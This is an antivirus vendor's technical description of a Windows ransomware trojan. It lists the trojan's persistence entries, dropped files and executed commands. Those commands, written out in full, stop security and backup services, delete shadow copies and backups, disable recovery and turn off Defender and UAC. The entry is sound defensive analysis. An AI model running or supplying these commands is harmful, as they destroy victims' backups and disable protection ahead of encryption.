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Trojan.Siggen18.8202

Added to the Dr.Web virus database: 2022-06-15

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
  • <SYSTEM32>\tasks\svchos1
  • <SYSTEM32>\tasks\svchos2
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe
Creates the following files on removable media
  • <Drive name for removable media>:\archer.avi
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
  • Windows Defender
blocks the following features:
  • System Restore (SR)
  • User Account Control (UAC)
modifies the following system settings:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider"
  • '%WINDIR%\syswow64\net.exe' stop "IISAdmin"
  • '%WINDIR%\syswow64\net.exe' stop "IMAP4Svc"
  • '%WINDIR%\syswow64\net.exe' stop "macmnsvc"
  • '%WINDIR%\syswow64\net.exe' stop "masvc"
  • '%WINDIR%\syswow64\net.exe' stop "MBAMService"
  • '%WINDIR%\syswow64\net.exe' stop "MBEndpointAgent"
  • '%WINDIR%\syswow64\net.exe' stop "McAfeeEngineService"
  • '%WINDIR%\syswow64\net.exe' stop "McAfeeFramework"
  • '%WINDIR%\syswow64\net.exe' stop "McAfeeFrameworkMcAfeeFramework"
  • '%WINDIR%\syswow64\net.exe' stop "McShield"
  • '%WINDIR%\syswow64\net.exe' stop "mfemms"
  • '%WINDIR%\syswow64\net.exe' stop "MMS"
  • '%WINDIR%\syswow64\net.exe' stop "MSOLAP$SYSTEM_BGC"
  • '%WINDIR%\syswow64\net.exe' stop "mozyprobackup"
  • '%WINDIR%\syswow64\net.exe' stop "MsDtsServer"
  • '%WINDIR%\syswow64\net.exe' stop "MsDtsServer100"
  • '%WINDIR%\syswow64\net.exe' stop "MsDtsServer110"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeES"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeIS"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeMGMT"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeMTA"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeSA"
  • '%WINDIR%\syswow64\net.exe' stop "MSExchangeSRS"
  • '%WINDIR%\syswow64\net.exe' stop "MSOLAP$SQL_2008"
  • '%WINDIR%\syswow64\net.exe' stop "EPSecurityService"
  • '%WINDIR%\syswow64\net.exe' stop "mfevtp"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecVSSProvider"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos System Protection Service"
  • '%WINDIR%\syswow64\net.exe' stop " Enterprise Client Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Agent"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos AutoUpdate Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Clean Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Device Control Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos File Scanner Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Health Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos MCS Agent"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos MCS Client"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Message Router"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Safestore Service"
  • '%WINDIR%\syswow64\net.exe' stop "Sophos Web Control Service"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecManagementService"
  • '%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service"
  • '%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service"
  • '%WINDIR%\syswow64\net.exe' stop "Symantec System Recovery"
  • '%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service"
  • '%WINDIR%\syswow64\net.exe' stop "AcronisAgent"
  • '%WINDIR%\syswow64\net.exe' stop "AcrSch2Svc"
  • '%WINDIR%\syswow64\net.exe' stop "Antivirus"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecAgentAccelerator"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecAgentBrowser"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecDeviceMediaService"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecJobEngine"
  • '%WINDIR%\syswow64\net.exe' stop "BackupExecRPCService"
  • '%WINDIR%\syswow64\net.exe' stop "MSOLAP$TPS"
Modifies file system
Creates the following files
  • %ALLUSERSPROFILE%\service\service.surt
  • %TEMP%\service\surtr_readme.hta
  • %TEMP%\service\id_data.surt
  • %TEMP%\service\private_data.surt
  • %TEMP%\service\public_data.surt
  • %TEMP%\service\surtr.exe
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
  • <Current directory>\surtr_readme.txt
  • <Current directory>\surtr_readme.hta
  • %TEMP%\service\surtr_readme.txt
  • %ALLUSERSPROFILE%\service\public_data.surt
  • %ALLUSERSPROFILE%\service\id_data.surt
  • %ALLUSERSPROFILE%\service\surtr.exe
  • %ALLUSERSPROFILE%\service\surtr_readme.txt
  • %ALLUSERSPROFILE%\service\surtr_readme.hta
  • <Current directory>\private_data.surt
  • <Current directory>\public_data.surt
  • <Current directory>\id_data.surt
  • %ALLUSERSPROFILE%\service\reg.surt
  • %ALLUSERSPROFILE%\service\bus.surt
  • %ALLUSERSPROFILE%\service\private_data.surt
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe
Miscellaneous
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecVSSProvider"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecVSSProvider"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R /S "%TEMP%\Service"
  • '%WINDIR%\syswow64\attrib.exe' +R /S "%TEMP%\Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "EPSecurityService"
  • '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  • '%WINDIR%\syswow64\net1.exe' stop "EPSecurityService"
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "IISAdmin"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "IMAP4Svc"
  • '%WINDIR%\syswow64\net1.exe' stop "IMAP4Svc"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "macmnsvc"
  • '%WINDIR%\syswow64\net1.exe' stop "macmnsvc"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "masvc"
  • '%WINDIR%\syswow64\net1.exe' stop "masvc"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MBAMService"
  • '%WINDIR%\syswow64\net1.exe' stop "MBAMService"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MBEndpointAgent"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecRPCService"
  • '%WINDIR%\syswow64\net1.exe' stop "IISAdmin"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecRPCService"
  • '%WINDIR%\syswow64\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
  • '%WINDIR%\syswow64\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
  • '%WINDIR%\syswow64\net1.exe' stop "Antivirus"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecAgentAccelerator"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentAccelerator"
  • '%WINDIR%\syswow64\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
  • '%WINDIR%\syswow64\cmd.exe' /c mkdir "%TEMP%\Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecAgentBrowser"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
  • '%WINDIR%\syswow64\net1.exe' stop "MBEndpointAgent"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentBrowser"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecDeviceMediaService"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecJobEngine"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecJobEngine"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecManagementService"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Antivirus"
  • '%WINDIR%\syswow64\net1.exe' stop "BackupExecManagementService"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "BackupExecDeviceMediaService"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeFramework"
  • '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer100"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer110"
  • '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer110"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeES"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeES"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeIS"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeIS"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeMGMT"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeMGMT"
  • '%WINDIR%\syswow64\net1.exe' stop "mozyprobackup"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeMTA"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeSA"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeSA"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSExchangeSRS"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeSRS"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$SQL_2008"
  • '%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SQL_2008"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$SYSTEM_BGC"
  • '%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SYSTEM_BGC"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MSOLAP$TPS"
  • '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer100"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MsDtsServer"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "mozyprobackup"
  • '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "McAfeeFramework"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeFrameworkMcAfeeFramework"
  • '%WINDIR%\syswow64\net1.exe' stop "McAfeeFrameworkMcAfeeFramework"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "McShield"
  • '%WINDIR%\syswow64\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
  • '%WINDIR%\syswow64\net1.exe' stop "McShield"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "McAfeeEngineService"
  • '%WINDIR%\syswow64\net1.exe' stop "McAfeeEngineService"
  • '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "mfemms"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "mfevtp"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\net1.exe' stop "mfevtp"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "MMS"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\net1.exe' stop "MMS"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '%WINDIR%\syswow64\net1.exe' stop "mfemms"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "AcrSch2Svc"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Device Control Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Device Control Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos File Scanner Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos File Scanner Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Health Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Health Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos MCS Agent"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Clean Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c echo off
  • '%WINDIR%\syswow64\chcp.com' 437
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /all /quiet
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Acronis VSS Provider"
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  • '%WINDIR%\syswow64\net1.exe' stop "Acronis VSS Provider"
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Agent"
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  • '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Agent"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Agent"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos AutoUpdate Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos AutoUpdate Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop " Enterprise Client Service"
  • '%WINDIR%\syswow64\cmd.exe' /c chcp 437
  • '%WINDIR%\syswow64\net1.exe' stop " Enterprise Client Service"
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Clean Service"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos MCS Client"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "SQLsafe Filter Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Symantec System Recovery"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Symantec System Recovery"
  • '%WINDIR%\syswow64\net1.exe' stop "SQLsafe Backup Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Filter Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "AcronisAgent"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "AcronisAgent"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "AcrSch2Svc"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Veeam Backup Catalog Data Service"
  • '%WINDIR%\syswow64\net1.exe' stop "MSExchangeMTA"
  • '%WINDIR%\syswow64\net1.exe' stop "MSOLAP$TPS"
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Backup Service"
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Client"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Message Router"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Message Router"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c net stop "Sophos Safestore Service"
  • '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos Safestore Service"
  • '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
  • '%WINDIR%\syswow64\net1.exe' stop "Sophos System Protection Service"
  • '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
